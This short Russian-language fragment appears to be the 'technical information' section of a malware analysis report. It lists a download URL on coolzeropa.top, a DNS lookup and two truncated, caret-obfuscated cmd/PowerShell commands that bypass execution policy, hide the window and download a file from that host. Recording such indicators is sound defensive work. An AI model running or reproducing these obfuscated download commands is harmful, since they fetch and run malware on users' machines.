Техническая информация
- http://coolzeropa.top/admin.php?f=0.dat как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /c "P^o^WER^s^H^E^l^l.exe -eX^EcU^tIo^npoLIc^Y B^yPaSs -NO^Pro^FILe ^-WINDow^sTy^le h^i^dDEN ^(N^Ew^-objEC^T ^sysTem.net.web^cL^I^E^nt).^d^OWNLOaDfile^('http://coolzeropa.top/admin.php?...
- DNS ASK co###eropa.top
- '<SYSTEM32>\cmd.exe' /c "P^o^WER^s^H^E^l^l.exe -eX^EcU^tIo^npoLIc^Y B^yPaSs -NO^Pro^FILe ^-WINDow^sTy^le h^i^dDEN ^(N^Ew^-objEC^T ^sysTem.net.web^cL^I^E^nt).^d^OWNLOaDfile^('http://coolzeropa.top/admin.php?...' (со скрытым окном)